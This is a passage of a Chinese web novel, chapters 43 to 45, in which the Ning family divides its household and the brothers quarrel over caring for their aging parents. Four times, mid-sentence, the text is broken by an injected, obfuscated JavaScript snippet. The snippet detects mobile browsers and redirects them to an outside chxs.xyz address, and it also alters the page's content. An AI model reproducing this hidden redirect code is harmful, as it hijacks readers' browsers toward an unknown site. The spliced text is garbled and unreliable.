往年他们没出钱,婆婆这么做,他们没有不高兴的立场,毕竟那些肉是大姐带回来孝敬爸妈的,家里谁想多吃点就自己买。 可今年的肉是他们花钱,家里其他人也没出钱,甚至离除夕只剩一天了,家里过年的东西依然只有他们带回来那些。 赵如月:“要不我去跟妈说说?孩子们都大了,吃得多,今年不做那么多腊肠了,过年这几天多煮几斤肉,让孩子们吃个过瘾。” 宁绍明想了想再次摇头:“算了,分家那事还没落到实处,闹出来不好看,最后一年了,暂时忍忍,大不了我们明天带孩子去玩,提前带他们吃点好的。” “行吧,听你的。”赵如月今天心情好,也不想多纠结这种容易剪不断理还乱,会让她心情不好的事。 宁绍明出门了,她进厨房倒凉白开喝。 宁时夏不知道从哪儿钻出来,跟着她溜进厨房。 “妈妈,”宁时夏扯了扯赵如月的衣袖,“我知道爸爸为什么不高兴。” 赵如月惊讶:“你怎么知道?” 她举着手上的铁皮小青蛙:“爸爸跟二伯说话的时候,我在柴堆里捡玩具,他们没看到我。” “你爸爸跟你二伯说完话就不高兴了?” “嗯!”宁时夏重重点头,“爸爸想借二伯的摩托车去县城,他说回来会帮二伯给摩托车加满油,二伯不愿意,说那车的刹车有点问题,要拿去二伯娘的娘家,让她娘家的邻居帮忙修好才能骑,二伯骗人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686685|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没过多久,就看到二伯娘的亲戚骑着那车载着家人,往大伯娘的娘家村子那条路开走了,爸爸也看到了。” “原来是这样。”赵如月大概知道宁绍明气什么了。 如果他二哥明说那车答应借给别人,他不会多想,可说了刹车有问题要修,转头又有人骑着车带家人去村里走亲戚,说明他二哥撒谎,宁绍明不生气才怪。 “妈妈,你让爸爸别难过,”宁时夏发出豪言壮语,“以后等我有钱,给爸爸买四个轮子的,也给你买,四个轮子那个才威风,以后二伯来借车,我们也不借给他。” 赵如月毫不怀疑女儿这些话的真实性,别看她年纪还小,记性可好了,上辈子女儿真给她买过车,只是她不敢开,一直闲置,后来把那台车给外甥开了,把她闺女气得不想理她。 她轻轻捏了捏女儿红扑扑的小脸蛋夸道:“好,我闺女真有志气,不过你给你爸爸买就好,妈妈不会开。” 宁时夏:“妈妈学就好了呀,妈妈最聪明最厉害,肯定能学会!” “妈妈不敢学,也学不会。” “妈妈瞎说。” “你怎么知道妈妈是瞎说的?” “还没试过妈妈就说不会,不是瞎说是什么,一般我不乐意干才会说自己学不会,其实我可聪明了什么都能学会!”宁时夏对自己非常有自信,对自己妈妈也非常有自信。 “别人都说妈妈像我,嗯不对,我像妈妈,我这么聪明,妈妈肯定也聪明!” “好好好,我闺女最聪明,妈妈还有事要忙,你找你哥哥玩去吧。”赵如月把闺女哄走,也真要忙别的事了。 她娘家三叔这一年对两个孩子很照顾,他们找他看看小病,拿点药,三叔都不收钱。 前两天刚回来,比较忙,没能上门探望还能理解,现在有空了,怎么也得去看望一趟他老人家。 不过她爸兄弟四个,也不能只去探望三叔,另外两个叔伯也要一同探望一下。 红包金额三个叔伯都一样,只是给三叔的礼要重几分。 赵如月在房间里收拾要给叔伯们的东西和红包时,宁绍明也缓过来了,进来看到她在忙这些,就知道她要做什么了。 他爸是独生子,他倒是没有亲近的叔伯要探望,只有同族的两个堂叔,但是那两个堂叔也只是他爸的堂兄弟,跟他关系已经有点远了。 本地的规矩,除非谁家里有红白喜事,不然关系比较远的亲戚,过年时一般不会互相送礼。 宁绍明又转身出去了,没一会儿一手牵着一个孩子回来,给孩子们把脸和手擦擦干净,又换上新衣裳。 两个孩子能穿新衣服高兴得很,宁时夏牵着妈妈的手一路蹦蹦跳跳,直到发现他们去的是三外公家,她才傻眼了。 以为爸爸还记着她说腿疼的事,真带她来看病,死活不肯进去。 还是赵如月三叔从屋里出来,哪怕他笑眯眯的,小孩在他面前也都不敢造次,宁时夏也是。 看到三外公,她才跟个小鹌鹑似的跟着爸妈进去了,发现不是带她来看病开苦药吃,她才又活泼起来。 探望了几个长辈,一家人推辞了赵如月几个叔伯的留饭,跟最后一个长辈告辞回到家,发现家里气氛有点严肃。 不但家里其他人全都在,连他们家以前所在生产大队的大队长,还有村委的人也来了。 43. 第 43 章 第43章 一看这架势,赵如月和宁绍明不用人说,也明白了家里要做什么。 只是他们很疑惑,怎么老两口突然就愿意在年前分家了? 宁绍明晚上去找过父母,跟他们提起想在年前分家。 老两口当时没同意,说什么年前分家不好、不吉利,他们老两口最后一年当家做主,想一家子先团团圆圆过个年,分家的事年后再说。 宁绍明觉得有点遗憾,但也不是不能接受。 今天他们却在自己一家出门走亲戚期间,一声不响地把大队长和村委的人叫来了。 “正好绍明两口子回来了,人齐了尽快开始吧,你们家这事好办,办完都不耽误回家吃晚饭。”说话的是他们以前所在大队,十一队的大队长梁文建。 现在虽然包产到户好些年了,但是镇上办事还是会按照大队来分派,大队以前的干事并入村委,依然负责自己大队的事宜。 分家这种事,不是自家说一句分家,再把放东西分一分就算完的。 分家还得办理分户,分户需要村委开证明,再到镇政府去办理。 还有水田、林地、山地这些农村人真正的命根子,以前只是大概分了分,没更名,正式分家后,也要跟宅基地一样,更名到新户的户主名下。 这些东西,分家的时候不分清楚,以后兄弟几个很容易吵架。 还有老人的养老问题,也要在分家的时候商量好,白纸黑字写清楚,以免以后有纠纷。 梁文建之所以说宁家的事好办,是他看多了镇上和大队里其他人家兄弟分家闹出来的事。 大部分人家会闹起来,要么是老人攒下的家底不够平分,要么是老人偏心眼,又想养老责任平分。 宁家看着穷,其实已经比大队里很多人家好多了。 至少梁文建印象里没见过宁家三兄弟,或者宁家的三个媳妇儿把家里矛盾闹到明面上来,让外人看笑话。 而且最重要的是,宁家老两口能攒下一个可以平均分成两个小院子的大院,还有一个面积不小的宅基地,算是给三个儿子都准备了房子。 分家的时候,要宅基地的儿子多分点钱,在房子方面,勉强算是对三个儿子都公平。 大队里和镇上多的是老两口生了好几个儿子,却只攒下一个院子,几个儿子里也没有哪个有出息,能自己申请宅基地建起新房子来。 结果就是巧妇难为无米之炊,老人的东西就那么点,谁都想要,谁都不服谁,那样的闹起来个个都跟他们哭诉自己日子难过,真的很让人头疼。 听到大队长的话,赵如月笑得客气:“梁叔难得来家里一次,哪能让你们饿着肚子就走,怎么也得留在家里吃顿便饭才行,你们聊着,我去做饭。” 反正该商量的她早就跟宁绍明商量好了,只要老两口不做得太离谱,她在不在影响都不大。 宁家其他人也纷纷出声,附和赵如月的话,劝来做见证的几个人留在家吃顿便饭,梁文建几人客气了几句才答应下来。 赵如月去厨房,王海燕也起身打算跟着去,反正她自己男人是长子,人又圆滑,儿女又长大了,在场看着,她家肯定不会吃亏。 她看老二媳妇儿那屁股像长在椅子上一样,动都没动一下,给叶菁使了个眼神,示意她们也该去厨房帮个忙。 叶菁假装没看到,不搭理她。 王海燕见状,疑心她会在分家的时候耍心眼,可自己都站起来了,再重新坐下去会显得太刻意突兀,王海燕只好提着心往厨房去了。 赵如月到了厨房,先给儿子二十块钱,让他骑车从后门出去,到小卖部买啤酒。 女儿刚刚没跟进来,让她爸抱着一起坐那儿听了。 小丫头机灵得很,要是宁绍明觉得有需要她的地方,还能让女儿悄悄来叫她。 赵如月在厨房里看了一圈,找到婆婆放肉的地方,那些肉还没被做成腊肠。 她拿起刀,刷刷两下,切下来一大块将近五斤的肉。 王海燕正好进来,看到她这么豪爽地切肉,吓了一大跳。 小碎步疾走过来,小声又紧张地问:“你怎么切那么多?这肉妈要用来做腊肠的,等下她看到,肯定数落你大手大脚,切个两三斤就差不多了!” “两三斤也就勉强够我们自家人吃,今天要招待客人,哪能那么抠搜,而且……”赵如月瞥了外面一眼,“我们不吃,留着以后有多少能吃到我们嘴里?” 王海燕抢肉的手一顿,愣了一下,很快明白了赵如月话里的意思。 她立马放开手:“也是,老婆子就知道偏心她家老二,说做腊肠留着以后家里慢慢吃,结果每年都让老二一家拿去县城一大半!” “你切吧,我不管了,”王海燕拿起旁边的菜篮子,“我择菜去,不过老婆子发现肉没了那么多,指定要不高兴,到时候我可不跟你一起背锅。” 赵如月笑了:“要背什么锅?大嫂你忘了,当初怎么说来着,过年过节要给过节费,谁想多吃肉也得自己出钱买,今年这肉可不是大姐送的,是我和绍明出钱买的,她不让吃可以啊,先把肉钱给我,也就是我跟宁绍明不想计较才没提。” “那是,你们两口子今年挣不少钱,可不得大方点!” 王海燕开了个玩笑,又想起一件事:“当初说好在家吃饭,各家每个月要给伙食费,我们的伙食费,算在田地出产里了,以前老三去砖厂上班,地里的活能干也帮着干,每个月还把一半工资给妈拿着,老二两口子没有地,按说他们回来吃饭也要给伙食费,可他们貌似没给过,是不是?” 赵如月:“这我就不清楚了,他们不是不常回来?” “呵,是不常回来,可一年回来的时间加起来,也有一两个月,而且他们哪次回来不搬米、搬菜、搬腊肉腊肠走?” 王海燕越想越觉得,这么多年算下来,自家真是亏大了:“他们两口子没有地,搬走的那些可不就是我们的,每次大米吃完了自己不买,还让老婆子找镇上拉客去县城的面包车给他们捎去,他们放假遇上农忙也不回来帮忙,吃倒是会吃!” “现在才说这个有什么用?其实以前意识到了也没用。”赵如月说这话,也不是想打击大嫂,只是不想她脑子发昏在分家的当口跑出去闹。 王海燕想到以前是公婆当家,瞬间冷静下来:“是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711939|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不是自己当家,有意见也没用,闹出来,我家那口子反而站在他爹妈兄弟那边,我算是看清他了!” 她看一眼剩下的那些肉,眼珠子一转撺掇赵如月:“弟妹,要不把这肉全煮了呗?你们俩出的钱,便宜那俩,你不膈应啊?” 赵如月:“……”是膈应,但权衡利弊之后,这点膈应可以暂且忽略不计。 不过她想了想说:“要是妈问起来,就说是你的主意,你乐意的话,随你煮,我不心疼。” “这……”王海燕有些犹豫。 赵如月:“肉是我出的钱,总不能我又出钱又背锅吧?” “说就说!”王海燕一咬牙,“都分家了,怕他个球!更别说还有客人在,她好意思当着客人的面骂我?她真不要面子训人,她几个儿子肯定也要面子,会拦住她!” 赵如月放下刀,比了个‘请’的手势,自觉退居二线给她打下手。 王海燕雄赳赳气昂昂地抄起菜刀,先切出来半个巴掌宽,手指尖到手腕那么长的一小块。 然后把其余的肉切成差不多的大块,焯水。 又找出一些卤料,放料、放肉。 “全给它卤了,现在天气冷,卤肉泡在卤水里能放好几天,她也不能说过年没肉吃了。” 王海燕又指了指留出来的那一小块肉,得意地说:“看看,我连过年拜神的猪肉都留出来了,老婆子也不能拿没猪肉拜神来数落我。” 赵如月给大嫂比了个大拇指,不走心地夸:“厉害,你竟然连这个都想到了。” “那可不,老婆子过年规矩多得很,拜神倒酒的顺序,有一点不对都要骂,倒酒的量多一点少一点也要骂,你忘了,有一年忘记留这块猪肉她气成什么样?” 过去那么久,赵如月还真忘了,不过这不重要。 现在特别讲究的规矩,后来轮到年轻人们长成了当家人时,可懒得讲究那么多,他们都是怎么方便怎么来。 老人们看着孙辈们做这些都是乐呵呵的,怎么做都夸,哪还有现在挑儿媳妇刺的架势? 后面热火朝天地做着饭,前面堂屋里,正在商量房子的分配问题。 叶菁和宁绍德两口子对视一眼,眼神又分开,紧张地盯着准备说话的宁达。 宁达清了清嗓子对梁文建说:“刚才梁老弟你也说了,我家的情况好办,房子按照规矩分,老房子砌一堵墙,分成两个院子,老大老二抽签,抽到哪边分哪边,老三分那个没起房子的宅基地,不过我们两口子的养老问题,我想换个不同的……” “什么!?”叶菁控制不住地发出惊讶的声音,打断了宁达的话。 这老头子对房子的分法,怎么跟她那天偷听到的不一样! 宁达止住了话,心中惊疑不定,难道老二媳妇儿提早知道了他们老两口的打算,不愿意? 宁绍德对老婆惊讶的原因心知肚明,他赢了。 但顾不上得意,毕竟夫妻一体,被人知道他们为什么打赌,对他也没好处。 宁绍德忙找了个借口,帮老婆遮掩过去:“没事没事,她是看爸的意思好像是不想跟大哥家住,太惊讶了,爸继续说吧,不用管她。” 44. 第 44 章 叶菁又惊又疑,顺着宁绍德给的台阶下来:“对对对,我是太惊讶了,爸你别管我,继续说。” 宁达看了黄秀华一眼,黄秀华这下也摸不准老二两口子的意思了。 她敢跟老头子商量,在分家的时候,提出换个不同的养老方式,也是因为她认为老二往常最孝顺她,最听她的话。 黄秀华在家当家做主惯了,以往在家里几乎是说一不二。 哪怕分家的事耽搁了那么多年,她做了那么久的心里准备,也依然不太能接受在自己还能下地干活的时候,跟着儿子儿媳过日子,在儿媳手底下讨生活。 那天晚上,老三来找他们老两口,说他愿意放弃老宅分成的小院子,改要那个空宅基地自己建房。 他们非常惊喜,恨不得马上答应下来。 可老三来得太突然了,他又想年前把分家这事办好。 养老的事,他们老两口还没商量好,只能先拒绝老三年前分家的想法。 今天老三一家子去走亲戚,黄秀华就趁机去试探了老二对自己的孝心。 老二的回答,让她觉得,但自己的想法能成,虽然并没有跟老二明说他们想换一种养老方式。 于是才有了今天下午请人来做见证分家这事。 宁绍明看看他爸,又看看他妈,也大概明白了,今天突然分家的原因。 既然他们在养老方面有不同的想法,只要他自己不吃亏,他就不管。 毕竟他心里对他妈是有点怨气的,他妈不乐意跟他们过正好:“爸,妈,你们有什么想法尽管说出来,成不成的,说出来才好商量不是吗?” 宁绍德完全没意识到,今天他妈找他说那些话,不是觉得一年到头见到他的机会少,想跟他联络感情,而是想看他的态度。 也跟着说:“是啊,你们有想法就说呗,这时候不提出来,等事情定下,可不能后悔了。” 宁绍贤觉得无所谓,反正他的两个孩子已经长大,不但能帮忙干家里的家务活,地里的活也能帮得上忙,老人不跟他住,不给他家干活他也不介意。 黄秀华想了想那些早早仰仗儿子儿媳过日子的老太太,她们都过的什么日子。 越发坚持自己的想法:“那我就说了,在养老这方面,我们暂时不想按照老规矩来,现在我们还能下地,用不着儿子儿媳伺候,就不跟你们住了,你们偶尔有空来看看我们就行。” 宁绍德依然没反应过来,他还问:“那你们住哪儿?” 黄秀华听到他这话就是一惊,不由自主地看向宁达,老二这么问,接下来的话,她不敢说出口了。 宁达顾不了那么多,说都说了,干脆一股脑地全说完:“老二夫妻俩不常回老家,房子空着容易坏,我们暂时住在你们老家分到的那院子里,你们同意吗?” “啊?”宁绍德懵了,“爸妈养老全由我来负责?” 按照规矩来分担父母养老问题,他爸该跟大哥家过日子,他妈跟老三家过日子。 作为老二,或者说作为工作地点不在镇上的那个儿子,只需要多给点养老钱,有空再回来探望一下,不用带着其中一个一起过日子。 当然,如果他和他老婆愿意带老人去学校宿舍里住,养老方式也不是不能改成,父母的其中一个跟他住,没分到父母的那个多给养老钱。 但宁绍德自己也不愿意,他爸妈在乡下生活的一些习惯,让他觉得带到城里被同事看到会很丢人。 反正不管怎么分,也没有把父母全都分到他家的道理。 宁绍德此时甚至想暂停分家,让他老婆把他老丈人和大舅子一家叫来,再重新讨论。 叶菁听到公婆的话,更是差点又惊叫出声,她死死地掐着自己手心才忍住了。 宁绍贤悄悄戳了戳宁绍明的胳膊,用眼神和表情示意他看看老二两口子,再看看老太太那副难过得要死的表情。 他用气音在宁绍明耳边悄声说:“看看,妈平时不是总说,她家二儿最孝顺?哈哈!” 宁绍明无奈了:“爸还没说完呢,你先别高兴太早,他说暂时住二哥的院子,‘暂时’你不知道什么意思?” “什么意思?” 很快他就知道了那是什么意思。 宁达看老二不说话,有些心凉,但也能理解。 他解释道:“我们的意思是,在我们还能动的时候,不用你们伺候,我们老两口自己过,地也留一点,我们自己种些够我们吃的粮食,等什么时候我们老得动不了了,再按照规矩,我去老大家,你们妈去老三家。” 他这话一说出来,老二两口子在心里狠狠松一口气。 不过轮到老大跳起来了。 “不是,没有这么分的,你们老两口还能干活的时候,给老二家种地供他们吃喝,到老了干不动,就来我家让我媳妇儿伺候?” 黄秀华听他说这话刺耳,气得狠狠拍了一下桌子:“你这是什么话,什么叫我们给老二家种地,我们的意思是,我们还能动的时候,不要你们养,我们自己种地养活自己,种出来的粮食,我们老两口自己吃,那不是就不用你们给了吗!” 宁绍贤冷笑:“得了吧,你们两个老的能吃多少?多出来的,还不是便宜老二家!” “大哥你怎么能这么说爸妈!”宁绍德重新支棱了起来。 他指着宁绍贤骂他不孝:“爸妈难道没把你养大?父母养我们小,我们养父母老,你儿子也成年了,过几年你都是能当爷爷的人,这点小孩子都懂的道理,你难道不懂吗?” 宁绍贤哼了一声:“你是个当老师的,嘴皮子厉害得很,我说不过你,但任凭你说破大天去,他们这个养老的方法,我也不同意!你有本事就把他俩都接到学校给你分的宿舍去,那我敬你是条汉子!” 事情的发展,让宁绍明也有些猝不及防。 他急忙趁着注意力都不在自己这边,让女儿悄悄跑去厨房叫他老婆来。 宁时夏一溜烟跑了。 瞥见她溜走的梁文建也挺想跑,刚刚还说按照老宁家的情况,分家这事好办呢,转头就打脸了。 谁能想到,问题没出在只拿到空宅基地,在他们这些外人看来,最容易闹起来的宁老三身上,而是出在宁家老两口身上。 他跟另外来作见证的几个人面面相觑,都认为这老两口真能折腾。 原本能顺顺当当地好好办下来的一件事,本来不用吵架伤感情,让他们俩折腾得兄弟俩吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711940|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了。 旁边宁老三也不劝,就这么坐着看他们吵。 看来家家有本难念的经,宁家也不像表面上看起来那么和睦。 宁绍明有个发小在村委上班,凑过来悄悄问他:“绍明,你不去劝劝你大哥和二哥?” 宁绍明摊手:“怎么劝?这是我能劝得了的事?除非我爸妈改变主意,要不劝了也是白瞎。” “那你是个什么想法?那两个吵上头了,不好劝,我们想先了解一下你的意思。” “我的意思?我没什么别的想法,反正我只愿意接一个跟我家住,不管是我妈还是我爸都成。”他心里确实对他妈有点怨言,但也没到不愿意给她养老的地步。 当然她自己不选择在他家养老,他也乐见其成。 那个村干部点头,表示明白了:“那就是,你比较赞同按照老规矩办事?” “也不算吧,要是老人不想跟我住,想自己住我也不反对,反正离得又不远,他们有事我也能照应得到。” “这……”村干部回到原位,把宁绍明的意思转达给梁文建和其他同事,他们都不知道该怎么办了。 梁文建抽了口烟无奈道:“要是宁老三支持按照老规矩来,那老大老三两个对老二一个,我们还能用少数服从多数来劝,可他两个都不反对,这就有点难办。” 那边老大一个人跟老二两口子吵,这老两口在那一脸苦相,只一个劲地说别吵了别吵了,但对于养老方式,就是不松口。 老大说是吵不过他们当老师的,可他人圆滑得很,耍嘴皮子的功夫也不一般,以一对二一点没落下风。 甚至把老二媳妇气得拍了桌子。 厨房跟堂屋隔着天井,赵如月在厨房里听不太清堂屋里的声音,不知道他们吵到什么程度了。 她被女儿叫出来,走到宁绍明身边坐下,刚听宁绍明三言两语迅速说清楚事情原委。 就听到二嫂大喊一声:“你宁绍贤以为自己很厉害是吧!要叫人是吧!那我也把我娘家人叫来!真以为我娘家人是吃素的吗!” 赵如月想了想,顺势插了一句:“还要叫娘家人来?我娘家最近,叫他们来快得很。” 宁达和黄秀华一听,慌了。 老三昨天晚上可是跟他们说过,决定要空宅基地这事,他们夫妻俩还没跟他岳家人说,打算先斩后奏来着。 他们老两口生怕这事在没办成前,被老三他老丈人家知道,今天赶着分家,这也是原因之一。 找梁文建和村干部来,也是趁着老三两口子去走赵家的亲戚,赵家老两口没空悄摸去找的。 宁达赶忙对赵如月说:“不用不用,你二嫂气头上乱说呢。” 叶菁正要声明自己不是乱说,就被婆婆狠狠拧了一下手臂,疼得她差点叫出来。 这还是她嫁过来之后,第一次被这么对待。 想到自己刚刚跟人吵架的样子,越想越觉得这么跟人吵架实在太丢脸,还失了身份。 而且她明明是为了支持公婆,才跟宁绍贤吵架,婆婆还这么对她。 叶菁气得掉眼泪:“你们宁家的事,我再也不管了,我又不是没房子住,大不了不要这院子,以后再也不回来!” 45. 第 45 章 “你看看你,说什么傻话呢!”宁绍德训斥了叶菁一句,然后转头对其他人说,“大家先聊着,我说说她,让她冷静冷静。” 急忙把叶菁拉回房间。 他认为现在父母很明显向着自己,可不能让老婆把事情搅和掉。 “你发什么疯!跟大哥吵架就吵,你对着我妈吼什么!”宁绍德跟叶菁打赌赢了,他自觉能压叶菁一头,张嘴就是指责。 但叶菁也不是好惹的:“你怎么不问问你妈干对我干了什么?” 她撸起袖子,让宁绍德看自己被婆婆掐的地方,那地方已经是一块青紫。 “你看看,这就是你妈干的好事!我帮他们老两口吵架,她倒好,老三媳妇儿一出来,她就猛掐我一把,不让我说话,怪不得老话都说隔辈亲,人家有了宝贝小孙子,你也得靠边站了吧!” “你想多了,我妈肯定不是故意的,你也不动脑子想想,真叫娘家人来,你娘家人来得快,还是老三媳妇儿娘家人来得快?” 叶菁不服气:“她娘家人来得快有什么用?我哥现在职位可不低,怕她赵家!?” 她光顾着反驳宁绍德,完全忘了,自己之前是在和老大吵架,不是跟赵如月吵,赵如月娘家人来得快,也不会对她怎么样。 宁绍德还在那说:“别忘了,赵家全族几乎都在小桥街住着,她娘家以前在本地可是大族,不算上拐着弯的亲戚,只算同族,人数也多得很,还特别团结,你娘家有多少人?” “他们还是本地人,你哥当官再厉害,在农村能拿人家本地人有什么办法?遇上地头蛇,他是条龙也得盘着!” 叶菁瞪着眼睛看他:“你敢看不起我娘家人?” “你别一气头上就乱说行不行?我平时对你娘家人怎么样,你难道看不到吗? 倒是你,回来那天你怎么说我爸妈来着?这事你不会忘了吧?” “我……”叶菁终于想起来了,“我、我也不知道你爸妈为什么又突然改变了主意,那天我真听到他们说话了!” 可事实摆在眼前,她此时甚至有点怀疑自己那天的记忆。 “总之现在我爸妈在分家这件事上,没有对不起我们,这个你得承认吧?” 叶菁:“……”很不想承认,但是不得不承认。 “是,我承认,然后呢?你想怎样?让我去给他们道歉,说我不该偷听吗?” “我可没这么说。”他丢不起这个人! “刚才你帮我爸妈说话就挺好的,我希望你等下出去跟我一直支持爸妈的想法。” 宁绍德说完,听到叶菁冷哼一声,不由提醒她: “你别忘了,我们吃的米和大部分肉,全靠谁供给,你爸妈在镇上没有地,又都退休了,人走茶凉,他们在这方面帮不了我们,你又只是女儿,岳父岳母有好东西也是优先补贴你哥,以后我们想吃得跟以前一样好,还是要靠我爸妈。” 叶菁:“靠他们?真是笑话,我又不是没工资养活自己。” 宁绍德用手指捏起她肚子上一块赘肉晃了晃: “别意气用事,你看看自己的身材,再想想你自己的食量,真自己买米、买肉,我们又多一笔支出,猴年马月才能攒到钱在县城买房?” 别看他们家双职工,两个人都有工资领,还只养着一个女儿,日子看起来过得很宽裕。 其实自家人知自家事,要不是家里吃的米和肉不花钱,他们想攒钱也攒不下来。 毕竟云山县是贫困县,教师工资不高,各方面的福利待遇跟大城市没得比。 他一个体育老师,也没法学其他科目的老师,给学生补课挣钱。 而他老婆是小学语文老师,按理说也可以给小学生补课,挣点外快。 可本地人对教育的重视程度也不怎么样,大部分家长都不会选择在小学阶段就给孩子补课。 甚至高中生家长找老师给孩子补课的都不多,很多家长眼皮子浅得很,宁愿让孩子初中毕业就去打工,早几年给家里挣钱。 僧多粥少,他老婆哪能竞争得过人家高中老师? 眼看有些同事在县城买了商品房,他们夫妻俩挣不到外快,只能想办法省钱。 “你还好意思说我,你自己吃得就少?”叶菁并不觉得自己胖有什么不好,别人想胖还胖不起来呢!谁见到她不夸她有福气? 宁绍德的想法跟他一样,他们夫妻俩体型都偏胖,谁也没嫌弃过谁:“我当然吃得也多,所以更要支持我爸妈提出的养老方式,不是吗?” 叶菁彻底冷静下来了:“我们闺女吃得也多,只是不知道怎么回事,长个子竟然长不过老三家的小夏,难道老三媳妇儿家以前有什么方子,能促进孩子长高?” 宁绍德:“先别想那些乱七八糟的事情了,你回答我,这次听我的行不行?” 叶菁:“行吧,我听你的,不过我不会再出头跟你大哥吵了。” 跟个泼妇似的,真丢人! “吵架本来就用不着你,还不是你脾气太急一个没注意你就冲上去出头了,等会儿出去你别闹脾气给我扯后腿就行。 不管怎么说,我们三兄弟,我妈还是更向着我的,分家前,她特地找我聊过,当时我没反应过来,现在才想明白了,她是想自己过好在补贴我们的时候,不被老大家和老三家说嘴。” 宁绍德很感动于父母对自己的付出和谋划,在心里暗暗决定,以后有空一定多回来看望他们。 同一时间,堂屋里。 宁绍贤在言辞激烈地表达自己的态度: “你们别劝我,我绝对不可能同意!就没见过那么偏心眼的老人!” “反正我的态度就三个字:不同意!” “要是他们老两口坚决不改,非要这么干,那以后他们老得动不了了,要人伺候了,爱去谁家去谁家,别来我家!我也不许我媳妇儿伺候他们!” 梁文建看宁绍贤那状态,不像能沟通的样子,只好又去找宁绍明,这回又多了个赵如月。 “你们两口子的意见呢?别再说都可以、都支持,那样根本解决不了问题,你们必须给出一个明确的意见。” 不等宁绍明开口。 宁绍贤又冲着这边嚷嚷起来: “老三,你可要想清楚你跟谁是一边的,我们哥俩才是难兄难弟!老头老太太可没偏心过你!” “当年你上初中的时候,成绩也不差,中考完明明能继续念书,老师都找到家里来了,结果他们为了供老二把钱花光了,轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726381|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你屁都没有!” “你体谅他们辛苦,自己说不想继续读了,等到要娶媳妇儿,你岳家嫌弃你学历低,差点连现在这媳妇儿都娶不着,这事你不会都忘了吧?得亏你那什么自由恋爱,自己找到对象了,要不然,靠他们老两口?你没准现在还在打光棍,跟他们一起给老二家当牛做马!” “大哥……你别乱说。”宁绍明听他大哥胡咧咧听得一头黑线。 他那些话里,有些确实是真的,有些却夸大了。 “就是!”宁绍德夫妻俩出来,正好听到宁绍贤那些话,双方又对上了,“当初老三不读书,明明是因为爸生了重病,家里的钱全给爸治病了,才没钱继续供,你别什么都往我身上推!” 宁绍贤不屑指着宁绍德的鼻尖骂:“放你爷爷的狗屁!你敢说你当初学体育花了家里多少钱吗?学那个破体育,又要花钱去参加比赛,又要吃得好,那时候全家都瘦得跟那山上的猴一样,就你一个吃得脑满肠肥,活像猪精附身! 不然就你那破成绩,也配当老师?没误人子弟算你走了狗屎运!” 眼看兄弟俩吵得越来越凶,大有上演全武行的架势。 黄秀华狠狠地往桌上一拍,那桌上的茶杯都抖了几抖:“够了!都给老娘闭嘴!” 老太太平时脾气不太好,没少骂人,但她真生大气跟随便骂几句是不一样的。 现在这情况,相处那么多年,宁家所有人都看得出来,老太太很明显是真恼火了。 所有人被这一怒吼,吼得噤了声,堂屋瞬间安静得仿佛能听到每个人的呼吸声。 正当宁家三兄弟以为老母亲要火力全开,把他们全都骂个狗血淋头时。 却看到老母亲红了眼圈,一抹眼泪低声哭了起来。 宁绍明当即倒吸了一口气。 他母亲脾气火爆,嫁给他爸后,入了党,还当过他们大队的大队长,脾气硬得很,轻易不会向人低头,更别说哭。 他们从小被骂习惯了,真被她臭骂一顿,他们完全能适应良好。 可现在,曾经那么硬气的老太太哭了。 大家都不是铁铸的心肝,能看到亲妈哭还无动于衷。 宁老大闭上嘴、撇过脸梗着脖子不说话,但看神色,很明显,依然不愿意妥协。 宁老二凑过去安慰老太太,有关孝顺的好话说了一箩筐,却也没说要退一步。 梁文建几个再次看向宁老三。 宁绍明叹了一口气:“养老这事,我和我媳妇儿尊重老人的意愿。” “老三,你!”宁绍贤不可置信地看向三弟,觉得自己被背刺了。 宁绍明示意他稍安勿躁:“大哥,你听我把话说完,我同意爸妈提出的养老方式,但有个条件,那就是,以后哪家照顾无法自理的老人,另外两家要按照市场工价,给照顾的人看护费,都不愿意照顾,那就请人照顾,看护费用平摊。” 宁绍贤听完一琢磨,觉得这主意不错:“要是这样的话,我同意!” 等老头或者老太太以后动不了了,来他家住着,他媳妇儿照顾,老二和老三要给他钱,相当于他们雇他媳妇儿照顾老人。 